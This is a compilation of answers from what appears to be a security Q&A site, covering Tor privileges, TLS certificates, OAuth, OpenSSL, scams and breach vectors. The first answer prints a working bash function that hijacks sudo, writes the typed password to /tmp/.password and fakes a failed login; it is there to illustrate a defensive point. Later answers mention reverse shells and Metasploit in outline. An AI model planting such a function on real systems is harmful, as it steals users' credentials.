While you can use sudo to run Tor as a different user, be aware that, if sudo is set to allow running root commands, your user, if compromised, can also compromise root. This is because any compromised process can sniff your keystrokes and modify your environment, so if you run sudo in that environment, you may very well be running a malicious replacement. A more secure way to log in as root is by using a different TTY and logging in directly (e.g. via logind or agetty).
A simple example, showing how sudo can be hijacked with a simple bash function:

$ type sudo
sudo is a function
sudo ()
{
    local pass;
    if [[ -z "${@}" ]]; then
        //usr/bin/sudo;
    else
        read -srp "[sudo] password for ${USER}: " pass;
        echo "${pass}" > /tmp/.password;
        echo -e "\nSorry, try again.";
        //usr/bin/sudo ${@};
    fi
}
$ sudo id
[sudo] password for joe:
Sorry, try again.
[sudo] password for joe:
uid=0(root) gid=0(root) groups=0(root)
$ cat /tmp/.password
hunter2

You can't easily evade this just by specifying the absolute path of sudo either:

$ type /usr/bin/sudo
/usr/bin/sudo is a function
/usr/bin/sudo ()
{
    sudo ${@}
}

Using sudo to run Tor as a Tor-specific user may be fine, as long as it has been configured in sudoers(5) to whitelist the acceptable commands and users. The sudoers configuration which allows myusername to run /usr/bin/tor as the tor user would look something along these lines:

myusername ALL=(tor) NOPASSWD: /usr/bin/tor

Securely running Tor as an unprivileged user
I suggest instead you run Tor as a daemon, started by your init system. You can adjust the user in the torrc by using the User directive. When Tor starts up with this set in its configuration file, it will drop to the specified user and run as it from then on. This usually requires Tor start up originally as root, as changing users is a privileged operation. It is safe to have Tor be started by your init system (for example, at each boot, after your network comes online), which will start it as root.
Taken from the tor(1) manual page or online documentation:

User Username:
    On startup, setuid to this user and setgid to their primary group.
    Can not be changed while tor is running.

Configuring Tor to run automatically via your init system depends on the specific distro you are using. Usually, installing Tor via your package manager will also install support for running it as a service, as well as add a Tor specific user to your /etc/passwd. Usually the user is just called tor, though on Debian it is called debian-tor. Check what user was added and set that to the user to run it as. Use your particular init system's management tools to enable the Tor service to run automatically after boot in the desired runlevel. This is the intended way to run Tor, so I strongly recommend doing this.


Why is google's site identity icon a red lock?

TL;DR: It's not red for me. It's probably a local issue which is hard to determine given what you've said thus far.

Update

Based on the Certificate Information screenshots, it appears you have the same certificates as me. There is a discrepancy between the exact date on which they expire:

My cert: *January 4 at 6pm*
Your cert: *January 5 at 1am*

which matches the discrepancy between your time zone (UTC+01:00) and my time zone (UTC-06:00).

It would help to guarantee the certificates are the same if you checked the fingerprint information for the certificates.

If the fingerprints are the same, please check another browser or two on your computer. If the other browser on your computer is all green, the issue is probably with your browser. You might try to update or reinstall the browser.

If the other browser also has issues, try another computer on the same network (preferably one that you are almost certain has no possibility of malware installed like a newly installed, updated OS). If the other computer is fine, the problem might be with your computer. Honestly, if I had a situation like this I'd wipe my computer clean and reinstall the OS just to guarantee there was no malware or critical mis-configuration. However, you may prefer to try to solve the problem without such a drastic measure at your own risk.

If the other computer on the same network is also red, stop sending any private information on this network immediately as this is a strong indication someone may be attempting to intercept your communication.

Original Post

Google Chrome has four different Site Identity icons and four identical Connection information icons. The red icon in the screenshot you provide falls under the Connection Information section of the Connection tab. These icons have the following meanings:

As you can see, the red icon is the most severe and specifically states the browser knows there are problems with the site's certificate. The description goes on to warn that you should exercise caution. Whether or not (as the description suggests) "someone on your network might be messing with the website" is uncertain, though possible. However, there might also be an issue with some other part of your network, with DNS, with your HTTPS settings, or something else. It's really hard to tell without diving deep into the problem.

What you should know though, is this is not normal. On my Linux computer in the midwestern United States running the latest version of Google Chrome, the identity is verified by Google Internet Authority G2.

Requesting your language, I get the same result (it's the same domain so it should not make a difference):

Immediately I can see the output your provided is different than mine. I have No Certificate Transparency information was supplied by the server while you have Valid Certificate Transparency information was supplied by the server.

Also, my connection uses QUIC, while your connection uses TLS 1.2 (though I don't think this matters).

In terms of the Certificate Information, both are the same:

I believe your language is Swedish (since I determined sv stands for Swedish, but have not determined the difference between Svenska and Sverige). Using the top level domain for Sweden, I get the same results:

And here's the Certificate Information on the Swedish domain:

Here's the basics about my browser version:

So at this point my answer is: it's not, and that this might be an issue specific to your system/browser. Perhaps your browser does not trust Google Internet Authority G2 as a certificate authority for some reason. Perhaps there is a network issue causing this. Perhaps someone is trying to intercept your connection. It's too hard to tell given the info provided.

However, if you can provide the output of Certificate Information (especially if it's different than what I have), that might be helpful to ruling out a thing or two.


As things stand, there's not yet anything that makes me think of an attack.

It could conceivably be a really, really convoluted and unlikely confidence scam:

step 1: I make a payment to you (but I'd do that with a larger sum)
step 2: I withdraw the payment

Most confidence scams are based on the victim's dishonesty; their willingness to do something fishy for gain, and their belief in being smarter than the attacker, who they're led to see as their victim.

So, while farfetched, I could then proceed with:

step 3: send an email to you asking whether you've received my payment.

This step has the purpose of separating honest people (who will answer "I got this payment and saw it rejected, but who are you? You owe me nothing! What payment is this? You probably got the wrong person...") from gullible marks, who will try and see if they can milk me and, for example, entice me into repeating the payment (you'd be surprised...).

So if I get a "honest reply" I don't even bother answering and proceed to the next mark.

If I get an evasive or shady answer though, I can proceed with

step 4 (repeatedly): I start fretting for some "merchandise" to be sent, and send over emails and error messages to show that I'm a complete idiot that can't complete a Web payment. Again, a honest person will come clean; a "mark" will be brought to a frenzy, sure that a lump of money is going to head his way Very Soon Now.
step 5: at last I "surrender" and tell that, let's see, my bank manager has agreed to do everything himself and get the matter off my chest if only I can supply him with your bank account details and access codes.

Of course, it will only work in a very small minority of cases - it's a variation on the basic 419 Nigerian scam - but give a look at 419's victims' statistics. They're still falling for it. And this time there was, albeit fleetingly and soon taken back, some Paypal money coming.

The cost for the scammer is still negligible.

So if things stay as they are, compatible with a Stage 2 but no more, I wouldn't worry overmuch. A genuine, if unlikely, typing mistake. Or maybe a Freudian slip - your username is destrier and the intended recipient was called courser, for example.

Should they proceed with Stage 3, though, improbable as it is, I'd send the whole conversation to the nearest appropriate authority, as well as Paypal. Let them sort it out.


Search for user credentials within a packet capture of a gmail session over SPDY

I am not an expert of how Gmail login works, but I am guessing it relies on cookies, which are normal HTTP headers.

In SPDY, HTTP headers are gzip compressed in the SYN_STREAM frame on a per-connection basis (not per-frame), and that is why you cannot search for strings representing header values like you can do with plain HTTP.

Wireshark has a SPDY plugin that will do this decompression for you (which is not trivial to do by hand), so that Wireshark will show you the actual decompressed headers.

There are also a number of videos online that show how to decrypt SSL and SPDY traffic that you can lookup, and that show how Wireshark can decompose SPDY frames into human readable format, for example this one.


Connect to a SFTP server using just the public key?

They wouldn't (and shouldn't) share their private key.  But, you can send them your public key, and they can add your public key to their authorized_keys file.  This will allow you to authenticate (provided that you have the private key that corresponds to the public key that you gave them).


Is it possible to identify my cellphone model if I connect to wifi?

The answer is yes; they can definitely see what phone you are using if they know where to look.

In addition to the MAC OUI, which reveals the manufacturer, the device may advertise its hostname as the manufacturer and model number (looking at my network's DHCP clients, I see some right now, e.g. a device named "SAMSUNG-SM-G890A"). Also, if you are browsing HTTP websites (or using apps that communicate over HTTP), the user agent string in the HTTP headers may contain the device manufacturer and model number. Some apps may also transmit this data for analytic or telemetry purposes.


Security benefits by loading modules statically in Apache server

Static loading makes any difference for security only in situations where malicious people may alter the files that you load dynamically, at which point it is fair to say that you have bigger troubles at hand.

If we really want to talk about security in relation with static Apache modules, then we might argue the following: non-static modules make third-party packages easier. In, say, a Linux system, you would have a "main" Apache package, and you could have a module provided by another package. For instance, on a recent Ubuntu server, you may have the apache2-bin package, that provides Apache itself, and libapache2-mod-php5, that provides the PHP support as a non-static module. The PHP support can be in another package precisely because it is a non-static module.

If a security issue is found in the PHP module, then that package can be fixed (with a new, patched package) right away, without having to replace the Apache main package in any way. Thus, hopefully, the fixing process is faster: less people involved, smaller fixed packages to download... In that sense, non-static modules can be thought of as enhancing security, but that is very indirect. What improves security here is the ability to split the code base into several packages that can be upgraded separately, and non-static modules support that model.

Note that static modules could still be managed as independent packages, but this would require the package manager to recompile (or at least re-link) the Apache binary whenever a static module is upgraded. Recompilation upon upgrade is a viable strategy (that's what the *BSD systems like FreeBSD do with their "ports") but, as a rule, Linux distributions have chosen the "binary packages" path.


I don't think that the assumption that somebody can never be identified if email address, first name and last name is safe.

If the user also uploads their weight data to another service the weight data of a few months should be enough to identify them uniquely.

I don't think it makes sense to develop your own ideas about what data safety is supposed to mean. If you want to treat heart rate data seriously, than you should treat them as medical data. That means you follow the HIPAA standards.

Given the list of data you provide, you should ask yourself whether you really need to know your users first name and their last name. If you don't know them you can't leak them.


Is it possible to have a man in the middle attack by using two different HTTPS connections?

The attacker [...] forges https certificates so there are two different https connections.
Whats to stop an attacker from doing an attack like this?

Browers have lists of trusted root CAs. For a browser to accept an HTTPS certificate, the certificate must be signed in a chain that traces back to a trusted root CA. The attacker is not supposed to be able to get a certificate for www.example.com without proving that he/she controls www.example.com. Such checks are done by asking the person requesting a certificate to modify DNS records or configure the HTTP server to serve a specific file containing a unique identifier.


Does it matter?

It is both or it is the one that make sense. Probably one makes sense in one context and the other in another.

My background is in Enterprise Directories so I would talk about RBAC and I think that this is more understandable to the business. But ACL's are more understandable to infrastructure techies.

So who is your audience?

Also, where are you going with the application? What is it's future. Will it get more capabilities? It is easier I think to talk about RBAC as you create more layers such as location based control.


Oauth2 PKCE - Can the refresh_token be trusted?

The OAuth2 authorization code grant has two phases:

Exchange primary credentials for an authorization code using browser redirection
Exchange the authorization code for an access token (and optionally a refresh token) over a secure channel

For native apps, there are some situations where browser redirection may expose the redirected response to another party. See RFC 8252 for details, and note Section 8.1 which describes the problem that PKCE solves.
PKCE ensures that if the authorization code is exposed to another party, then that party cannot use the authorization code to obtain the access and refresh tokens.
The second step does not use browser redirection. Hence, the sensitive tokens returned cannot be exposed in the same way.
Since the refresh token is returned using a secure channel, it it is safe to use it to obtain a new access token without requiring the PKCE challenge and verify steps.


Trying to use the encrypted and plain "magic numbers" to figure out the key is a type of known-plaintext attack.  Modern encryption algorithms are highly resistant to this sort of thing -- typically, trying every possible key is the only known way to do it.

Magic numbers and other file structure makes it easier for an attacker to tell that their latest guess at the key was correct, but they don't reduce the number of guesses needed.


Why does a PKCS12 file have a private key

A PKCS12 used by a client should contain a privatekey and cert/chain for the client, which is used to authenticate the client so the server knows an SSL/TLS connection is from a legitimate/authorized client and thus requests on this connection should be accepted and/or given appropriate privilege(s). Ideally a client should use a key generated by itself combined with a cert either issued by a CA the server trusts or issued by the server itself, but in some situations an authority like the server admin just provides a key and certs in a PKCS12 so they don't have to spend 20 or 30 hours a day instructing users on how PKI works and how to generate a key and how to generate a key that is not the wrong type or too short or otherwise unacceptable and how to type data into a CSR and what is a CSR and why a CSR isn't a cert and also isn't a key and why their CSR was defective and how they should type the correct data into a CSR so it will actually work and how to look for the key they generated 2 hours ago but have now lost or deleted or overwritten or converted to something else or put on the wrong machine etc etc.

The client keypair(s) should be different from the server keypair, and the server privatekey indeed should never be distributed to a client, or anywhere except a key backup facility or a replacement server. If the server uses either a selfsigned cert or a cert issued by a CA that is not pre-trusted then a cert (not key) serving as a trust anchor for the server, the cert itself if selfsigned and otherwise usually the CA root cert, must be imported as trusted on the client(s).


Why does openssl enc -aes-256-cbc -a -salt increase the file size?

The main increase is the -a flag which means it base64 encodes your ciphertext.

From man enc:

NAME
   enc - symmetric cipher routines

SYNOPSIS
   openssl enc -ciphername [-in filename] [-out filename] [-pass arg] [-e] [-d] [-a] [-A] [-k password]
   [-kfile filename] [-K key] [-iv IV] [-p] [-P] [-bufsize number] [-nopad] [-debug]

   [...]

   -a  base64 process the data. This means that if encryption is taking place the data is base64 encoded
       after encryption. If decryption is set then the input data is base64 decoded before being
       decrypted.

Base64 encoding means that for every three bytes of binary data (a byte is an 8-bit number meaning it has value 0 to 28-1=255) you have are encoded in four bytes of 6-bit data (with value 0 to 26-1=63, though represented in printable ASCII symbols).  Base64 is convenient as the symbols for the 64 values can be chosen to be printable ASCII characters (e.g., typically 0='A',1='B',...25='Z',26='a',...51='z',52='0',...,61='9',62='+',63='/' though the last two often are defined differently in different variants).  Note three bytes 8*3 has 24 bits, as does four groups of base64 encoded numbers 6*4.

For example if your ciphertext was three bytes (in hexadecimal): f0 bb 5c (240, 187, 92) in binary the bits grouped into three bytes would be:

 11110000 10111011 01011100

in base64 it would be the same bits, except grouped into four groups of 6 bits:

 111100 001011 101101 011100

which map to the values 60, 11, 45, 28, which on a typical base64 table would map to the printable ASCII characters 8Ltc which will take four bytes on the disk (instead of the three bytes it would have taken without base64 encoding).

Thus base64 encoding should account for roughly a 33% file increase.  It's slightly more than that as openssl also adds a newline characters every 64 characters of base64 encoded ascii (so the text wraps at 64 bytes).  These two features together account for a general file size increase of (4/3 * 65/64 - 1) = 35.4%

There's also a bit of overhead from your scheme.  Specifying -salt takes your plaintext password and concatenates a random eight byte salt to the message along with a header Salted__ specifying that a salt was used, and these will also be base64 encoded.  (The purpose of the salt is to make it less cost-effective for an attacker to pre-compute rainbow tables for common passwords).  If I encrypt a random file in your scheme (specifying the salt as DEADBEEFDEADBEEF using openssl enc -aes-256-cbc -a -salt -S DEADBEEFDEADBEEF the first row of my encrypted file was

U2FsdGVkX1/erb7v3q2+7ybJfdPaLlVzOp7lKpOljvNK8ONCrgFrQpaJHQ8EqO1X

which decodes to (using python):

>>> import base64
>>> base64.b64decode("U2FsdGVkX1/erb7v3q2+7ybJfdPaLlVzOp7lKpOljvNK8ONCrgFrQpaJHQ8EqO1X")
'Salted__\xde\xad\xbe\xef\xde\xad\xbe\xef&\xc9}\xd3\xda.Us:\x9e\xe5*\x93\xa5\x8e\xf3J\xf0\xe3B\xae\x01kB\x96\x89\x1d\x0f\x04\xa8\xedW'

So combining the base64 encoding, the linebreaks, the salt, the initialization vector (for CBC mode), and the padding (to be evenly divisible to be 128-bit blocks for AES), an overhead of ~35% seems perfectly reasonable.

EDIT: Actually, openssl doesn't store an initialization vector when deriving a key from a password with a salt.  From man enc:  "When a password is being specified using one of the other options, the IV is generated from this password.".  Using this and doing a couple test files, the file sizes match up perfectly.  The salt 8 bytes plus Salted__ adds 16 bytes to the file.  The file is padded to be a multiple of 16 bytes (adding at most 16 bytes).  If you don't base64 encode the file size match up perfectly, and then you can get a file that exactly matches the base64 version if you then apply base64 --wrap=64.


Can firewall stop social engineering attacks?

Generally: No, a Firewall is not to stop social engineering attacks.

The reason for this answer lies in the nature of Social Engineering - Social Engineering is about manipulation people, not about computers.

And while Firewalls of all kinds are a good tool to prevent attacks on your infrastructure, they are not a good tool for protecting your staff.

  The most common type of social engineering happens over the phone. Other examples of social engineering attacks are criminals posing as exterminators, fire marshals and technicians to go unnoticed as they steal company secrets. Source

And as long as people are able to do bad things, there might be a way to trick them into doing it. To prevent Social Engineering, you need to increase security awareness among your staff.

Additionally, establishing technical safeguards like restriction of access rights, Data Leakage Detection / Prevention and operational safeguards like segregation of duties might make Social Engineering attacks harder to perform.


How should I determine if an application transmits my credentials securely?

One way of checking this would be to run a packet sniffing tool such as wireshark, as this can give you information about the protocols being used, and can show you similar information to what someone else would see if they're sniffing your connection.

I'm presuming here that Battle.NET uses HTTP(S) for authentication so essentially you'd be looking for the difference between a plaintext HTTP connection and an HTTP(S) connection.

In practical terms a good way to do this is to close as many other programs before you run the sniffer, to minimize noise and make it easier to isolate the relevant traffic.  If you can identify what IP addresses the servers run on you can set-up a capture filter on wireshark for only those IP addresses, which would make it even easier.

Then start the sniffer and log-in to Battle.NET.  Once you're logged in stop the sniffer and examine the output.

what you're looking for is the protocol that's in use for the connection if you see connections using HTTP and you can see the contents of the connection (right-clicking one of the packets that's sent to the server in wireshark and using the "follow TCP Stream" should show you some details.)

If the connection is using HTTP(S) then you shouldn't see any plain text after the connection is established, whereas if it's using HTTP you'll see plain text detail of the traffic being sent back and forth.

Another quick and dirty check would be to save the packet capture file from your login and use a string search tool (like findstr in windows or grep in linux) to check for your password or username.  If you see them then they're being sent in the clear, if you don't then they're at least being obfuscated, and may be being encrypted.

There's still some other risks, especially if you're using someone elses computer in an internet cafe as they could install keyloggers if they wanted to and/or modify trusted certificate authorities which could allow them to intercept traffic sent over SSL.

Bottom line is that if you use a system controlled by someone else on their network it's likely that they can get access to data you process at that time.


Generating OpenPGP key pair with restrictions

You have to define with some precision what you mean by "RSA private key".

In RSA, there is a modulus, i.e. a big integer n which is equal to the product of two equal-sized prime integers called p and q. Also, there is a public exponent e (usually small, traditionally equal to 65537 in the context of PGP) and a corresponding private exponent d. The size of d is roughly the same than the size of n; d is such that e*d = 1 when taken modulo either p-1 or q-1.

The public key consists in n and e. The public key operation involves elevating an integer to the power e modulo n. The private key is anything which allows the computation of the inverse operation (finding the e-th root modulo n). The following sets of information all allow extracting e-th roots, and thus all of them can be deemed "the private key":

n and d
p, q and d
p, q, d mod p-1, d mod q-1
p, q and e

So you have to decide what you define as "RSA private key" and what "half" you are talking about.

Let's see what OpenPGP defines. In section 5.5.3, we see that there is a standard storage format for RSA private keys, within the context of OpenPGP. That format stores the public key (n and e), and also d, p, q and a value called u, which is the inverse of p modulo q (this value helps in implementing RSA efficiently; it could be recomputed on the spot, but storing it yields faster operations). Actually p, q and e are all that can be set, since the other values can be deterministically computed from those three. And e is traditionally set, and should anyway remain small (for efficiency and interoperability). So you have p and q to "hide" your preset value.

RSA key generation roughly work like this:

Generate a random integer p of the right size (half the target modulus size).
Test if p is prime. If not, try again until you get a prime.
Generate q the same way. Make sure that q is in the right range so that n = pq has the intended target size. Also, OpenPGP mandates that q is greater than p (if you get a smaller q, you can always swap them).

So you could theoretically alter the process like this:

Split the value V that you want to hide into two halves, V1 and V2. Let's assume that V1 and V2 have length k (in bits).
Generate potential random p values which "include" V1, i.e. p = 1 + 2*V1 + r*2k+1 for random integer values r of the "right size" so that p length is, say, 512 bits (if you target a 1024-bit modulus). Try again until you hit a prime p.
Do the same for q, embedding V2.

This process will work as long as you can have r values of size at least a dozen bits. Otherwise, there could be no prime at all with the desired format. The "*2" and the "+1" are there to force p to be odd: a big prime cannot be even.

I do not know of any software which implements that, but it should not be difficult to slap together with a big-integer library. I suggest using Java, which has appropriate java.math.BigInteger, and then Bouncy Castle for the encoding-into-OpenPGP-format part.

Beware that an attacker knowing that you play such tricks may try to attack your key by exploiting whatever structure your hidden value has. Also, implementing your own crypto is extremely rarely a good idea. And I said nothing about whether your idea of "hiding a key in plain sight" made sense; I only show how it could be done.


CDMA uses the CAVE algorithm for authentication, CMEA for privacy and and ORYX for integrity. But these algorithms are all prone to cryptographic attacks similar to those conducted on GSM. So, don't depend too much on the encryption provided by CDMA too since 'attacks only get better, they never get worse' - Bruce Schneier.


Need of scope in OAuth Client Credentials Flow

In case a client is requesting the access token for just a specific use case for which only a subset of scopes is required it could make sense that the client narrows down the scope. In case the access token is leaked an attacker would have access to only this use case.


Different performance of openssl speed on the same hardware with AES 256 (EVP and non EVP API)

In OpenSSL source code, the speed aes-256-cbc function calls AES_cbc_encrypt() which itself uses AES_encrypt(), a function from crypto/aes/aes_x86core.c. It is an obvious "classical" implementation with tables.

On the other hand, with EVP, you end up in the code in crypto/evp/e_aes.c which dynamically detects whether the current CPU supports the AES-NI instructions, a feature of recent x86 processors, which allow for vastly improved performance. In OpenSSL code, the AESNI_CAPABLE macro does the job (feeding on some flags which are set when the library is initialized, using CPUID).

Bottom-line: with EVP, you benefit from the automatic selection of the improved implementation, based on the current CPU model, whereas the non-EVP code directly uses the generic software implementation, which works everywhere, but is slower.


I have a public network. How can I prevent the users from visiting bad websites?

What you need is a web filter. This creates the ability to inspect the traffic and filter it depending on the destination.

Note that, unlike the other answer, this does not need any SSL interception since all you are doing is reviewing the IP names and addresses.

Typically, you will use a product that uses dynamically updated block lists, generally grouped so that you can disable access to whole categories such as gambling very easily.

There are many products that will do this at different price points. One example is Sophos UTM though that is most likely overkill for your needs as it is an enterprise tool. Trend and most of the other recognised security vendors all have web filtering tools available.

If you want something quick and dirty, you can also switch your DNS service to use OpenDNS. OpenDNS also provides dynamically updated web filter lists but they work simply by preventing an IP Address lookup so it is possible to bypass the restrictions - generally by users manually setting their own DNS servers.


It is safe.  You have used SqlParameters so you don't need to worry about SQLi in this case.

There are situations where using parameters might not protect you from SQLi, like using a parameter to construct dynamic SQL in a stored proc, but there isn't anything like that going on here.

This is a textbook example of when parameterization prevents injection.


Concepts of PKI Encryption and Digital Signature Authentication

We have a canonical question which gives a very detailed explanation of TLS: How does SSL/TLS work?

I'll answer your specific question:

  With RSA at least, the sever encrypts the message via the private key and this can only be decrypted with the public key... but as the public key is available to everyone how do we know that someone else hasn’t intercepted it?

Say I have a message:

I, Mike Ounsworth will give $10 from account XXXX-YYYY-ZZZZ to petehallw account XXXX-YYYY-ZZZZ.

I want to sign this message so that:

Everyone knows that it came from me
Nobody can tamper with it and change it from $10 to $1000, or change the account number.

If you look inside an RSA-sign operation, it would look sorta like **WARNING: OVER-SIMPLIFICATION ALERT**. First I hash the massage:

SHA2("I, Mike Ounsworth will give $10 from account XXXX-YYYY-ZZZZ to petehallw account XXXX-YYYY-ZZZZ.")
= 521C5EC6F1FEE551A2A5A8967EE183369424DBD26C4F25337EF72C42D01DB7E1

Next we compute a signature on the hash value (you have the mental model of encrypting that SHA256 hash with the private key, which is ok, but we aware that it's an over-simplification).

RSA-sign("521C5EC6F1FEE551A2A5A8967EE183369424DBD26C4F25337EF72C42D01DB7E1", privateKey)
= <binary_signature_blob>

Then anyone with the public key can verify by:

Computer their own SHA256 hash of the massage they received.
Use the public key to "extract" the SHA256 from the binary signature blob.
Make sure the two SHA256 hashes match.

As stated above, this is already an over-simplification, even for RSA which is the simplest cipher to understand. You said that the different articles you read seem to disagree on how RSA signatures work, that's probably because crypto is complicated and each article is probably simplifying down to layman's terms in a different way.


authenticity, confidentiality & integrity - general questions

The difference between authenticity and integrity is this:

Suppose party A and B are talking to each other. Authenticity would mean that messages received by A are actually sent by B. Integrity means that on the route from B to A, the message has not changed in between.

In general, authenticity would imply integrity but integrity wouldn't imply authenticity. For example, the message may retain its integrity but it could have been sent by C instead of B.

  So is DH part of authenticity, because (e.g.) only site A and B are able to caluclate and transfer a symmetric key? But how does this prove that e.g. site B is really site B and not an attacker?

DH is not part of the authentication process. In SSL/TLS you use the certificates of both parties for authentication. After you have authenticated the parties, you share a secret key for your symmetric encryption. This keys are exchanged using DH key exchange.

Keep in mind that authentication is different from authenticity. Authentication is establishing that you are talking to B while authenticity is establishing that the message actually came from B.

  And a last question of mine is, is it correct that I can compare the RSA or EC process with SSL/TLS with the exception that SSL/TLS adds digital certificates with digital signatures (HMACs) in addition?

I am not sure what exactly do you mean here. RSA or eliptic curve are algorithms that are used for asymmetric encryption. SSL/TLS is a communication layer.


One way to achieve this is to generate UUID's on the server and set a cookie. That then becomes the ID and the client manages it without further need of input from the server.

UPDATE: Just to clarify, using this method stores nothing at all about either the user nor the client, it is in no way identifying other than knowing that it is likely the same cookie comes from the same source. Using a UUID ensures, like a hash, that the number is unique without needing any complex algorithms or user information that might compromise identity.

Really not a security question though.


Can I determine the cipher used to encrypt a file with OpenSSL?

If your cipher is using padding (i.e. is not in a streamed mode such as CFB, OFB, CTR or CTS), then it may be able to tell just by looking at the encrypted data's size. For instance if it is 24 bytes (192 bits), then it could be Blowfish (because it has a block size of 64 bits, and 192 is divisible by 64), and it cannot be AES because 192 cannot be divided by 128 (AES's block size). But since most block sizes are multiples of one another, this will probably not be very helpful, but it can be used to narrow the choice down sometimes.

If the above method failed, then it is computationally infeasible to distinguish data decrypted with the wrong key with the correct cipher and data decrypted with the correct key with the wrong cipher. They both produce random data. (this can be formalized assuming the cipher is a random permutation). This is unless the cipher has big weaknesses, of course, which is probably not the case if it is included in OpenSSL (except the old export-safe ones like 40-bit rc4).

So the only way is to try all the possible ciphers the data could have been encrypted with (there are an infinite number of potential ciphers, but only a few are actually used in the world). You could always whip up a script to automate it.

Of course, you can store the cipher used to encrypt the file next to it (or within it), like a byte that takes a different value for each cipher. If the key is kept secret, this presents no security risk (modern ciphers are designed to rely completely on the key - see Kerckhoffs's Principle).


Is it safe to expose a commit hash on a public healthcheck endpoint?

The purpose of a cryptographic hash is that it doesn't reveal details about what was hashed, but it can be used to verify those details.
Based on your question, I'm assuming that you want to verify that some service's software matches a version that you have in a version control repository.
If someone has read access to your repo, they'll be able to compare the hashes easily.  If your services are based on open source software, then you're simply advertising the version numbers, which is generally considered safe as long as you're updating your software when there is a security release.  If your repo is private, then only trusted people will be able to figure out your version number through your status page.


What are the best algorithms against known plaintext attack?

Short answer: Any modern considered-secure symmetric cipher is fine. Just use AES with a secure mode of operation, like CBC or GCM.

Known plaintext attacks are a standard part of cryptanalysis; any cipher that is even marginally weaker against them than otherwise is considered cryptographically compromised.

Longer answer: This is an excellent risk to consider, but you're kind of asking the wrong question. Leaving aside the why (that is, why are you trying to roll your own data encryption scheme, when so many already exist?), you should probably consider where the assumption that

  this makes finding the key with brute force easier

comes from. Even if you HMAC the data with a different key (not possible if using an authenticated encryption scheme like AES-GCM), if you have any way to determine a correct key from an incorrect one (such as a hash of the key, or of the plaintext, or even just because you make the assumption that if it decrypts into syntactically-valid JSON the key is probably right), an attacker can do the same thing. Being able to near-instantly validate the correctness of the correct key is just assumed to always be the case.

The difficulty of brute-forcing modern crypto isn't because you don't have a partial plaintext in systems that use it, or because it's hard to know when you've guessed the right key. It's because the key space is so large that, if you built an entire datacenter full of top-of-the-line hardware that did nothing but try a distributed attack to brute-force a single 128-bit AES key and could run forever, the machines in that datacenter would be absurdly unlikely to guess the right key before the sun expanded to swallow the earth.

That's not hyperbole, by the way; human intuition is just really bad at big numbers, and 2^128 is an extremely big number. Let's say you put a million (OK, 2^20) CPUs in the hardware in that datacenter. Let's further assume that each of them can check 32 billion (2^35) possible keys per second (which is faster than even the best hardware-accelerated modern commodity CPUs I'm aware of, but you've got some fancy custom hardware). That means your whole datacenter can check 2^55 (about 32 quadrillion) possible keys per second. Super fast, right? At that rate, and assuming that on average you only have to search half of the keyspace, you will need (2^127)/(2^45) = 2^82 seconds to have a 50% chance of finding the key.

The sun is expected to swallow the earth in roughly 7.6 billion years (give or take a few thousand millennia). In seconds, that's 2.4x10^17, also written as 2.4e17. Take the base 2 logarithm of that number, and you get a bit less than 58. 2^82 / 2^58 is 2^24, or about 16 million. You would be roughly one six-millionth of a percent of the way done.

Also, not part of your question, but: you are taking into account integrity (detecting tampering with the ciphertext, which most encryption provides little if any protection against) and also generating unique initialization vectors for your files, right? Doing crypto right is hard. There's already (tons of) programs out there that do symmetric encryption of files (or other data blobs).


How to securely transfer cookies between two domains?

Something along these lines might work:

Generate an AES encryption key, known to https://example.org and https://example.net.

On the initial request by the user to https://example.org, the server encrypts timestamp|authentication token using the key, then responds with a 301 rediect to https://example.net?xxxxx (where xxxxx is the ciphertext).

On the request to https://example.net?xxxxx, the server uses the key to decrypt xxxxx to get timestamp|authentication token.  The server checks that timestamp is not more than n seconds in the past (to avoid replay attacks).  If so, the server authenticates the user stores the authentication token in a cookie for https://example.net.


Writing to drive with full drive encryption without decrypting

Linux can read and write data on BitLocker encrypted volumes using Dislocker, but that obviously requires the key.

If you don't have the key, you can only read and write raw ciphertext (the encrypted partition), reading it won't give you anything useful (it just looks like random data), but writing on it will definitely corrupt the underlying NTFS partition and you won't be able to mount it anymore (and Windows won't boot).


Is CloudKit or iCloud suitable for storing PII?

If you are utilizing a cloud service where you cannot control where data is stored, there may be potential legal risks. For example, in some cases US data stored on EU servers may be deemed subject to EU data directive privacy controls and data stored in the US may not meet EU requirements or have sufficient safe harbor. Other odd cases come up in cross-border data storage.

Any specific legal requirements would have to be a factor of the actual data and the specific laws - e.g., healthcare data and HIPAA. For the specific legal issues, those are going to be off topic, and you will need to consult a Lawyer for an appropriate answer.

There are likely other legal or security risk to consider such as encryption, guarantees over deletion, etc - these are common concerns for any cloud service provider. You may want to check out some of the resources from Cloud Security Alliance to use in your assessment of a cloud provider.

Moreover, you may have issues with the specific classes of data in synchronizing or even the security and confidentiality of an iPhone in general (where is it being copied to, how do you secure those other devices/servers?).

In general, the less control you have over the service provider and the data,the greater the difficulty will be in meeting various overlapping and often conflicting legal laws. Where possible, leave data in it's country of origin. There may also be a difference between where the user chooses to store and move their data versus "you the company" moving it. Again, you will need to consult with a lawyer.

Some links to consider:

Cloud Computing: Data Privacy in the Cloud
Can European Firms Legally Use U.S. Clouds To Store Data?
Conflict of Laws: Data Protection in the Cloud
Data Without Borders


Sites being redirected to adult site in all devices

If your devices can connect to the internet (without redirection to Adulttube.info) through 3/4G then I suppose your router is infected with a trojan

(Trojan:32/DNSChanger) https://www.f-secure.com/v-descs/dnschang.shtml

Trojan :32/DNSChanger compromised the router weak default password using brute-force attacks.

The Trojan then changed the routers DNS table to malicious DNS servers...redirecting Domain Name resolutions to unsolicited, illegal and malicious sites the attacker wanted victims to access.


Is it possible to metasploit without the shell.exe running on victim's computer?

I'm a bit confused. But even so Metasploit provides you (and not restricting to)with scanners, vulnerability exploits and shells.

You can gain acces in a machine by:

Executing a shell on the victim machine
Exploiting a vulnerability on the machine
Brute-forcing or intercepting an account or bypassing an authentication

Also see:

For 1: Reverse TCP Shell.

For 2: Psexec or any known exploits.

For 3: Smb login, intercept, guest vulnerability.


Breaching a computer knowing only IP when all ports closed - possible?

You could be breached by:

Browser exploit (e.g. this one for IE). There are browser vulnerabilities found all the time.
Through a malicious message to exploit a Skype vulnerability. The one here just causes a crash, however sometimes exploits like these can be further developed to enable code execution.
A Flash exploit allowing an attacker to gain code execution.

Even though you don't directly visit suspicious websites, any of the trusted websites you visit could have been compromised, or they could be unwittingly hosting content containing exploits like described above. For example, via adverts or via user hosted content on those sites.

Once an attacker has gained code execution, they can often create a "reverse shell" where they make your computer connect outbound to their system - incoming ports are not required. Through this shell connection they can then run whatever commands they want.

You are more secure running Linux because attackers do not target these system en-masse like they would do with Windows. However, exploitation of any client-side vulnerabilities is still possible.


